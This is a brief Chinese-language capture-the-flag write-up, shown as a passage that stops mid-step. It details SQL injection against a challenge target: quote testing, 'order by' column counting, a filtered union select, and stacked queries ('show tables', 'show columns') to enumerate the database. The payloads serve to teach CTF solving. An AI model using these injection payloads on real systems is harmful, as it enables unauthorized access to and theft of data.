题目名字提示就是SQL注入
- 先输入1,有回显:
- 判断注入类型,
1'
报错,1'#
正常回显,说明时单字符类型注入: - 判断字段的数量,
1' order by 2#
正常回显,1' oreder by 3#
报错,说明字段量为2:
- 用union去 select查询,
1' union select 1,database()#
,发现被preg_match过滤了:正则表达式过滤了这些,那么只有采取其他方式进行注入,尝试用堆叠注入:
1';show tables;#
,发现有回显: - 爆1919810931114514的字段:
-1';show columns from
1919810931114514;#
(数字名称需要加上反引号)
- 爆words的字段: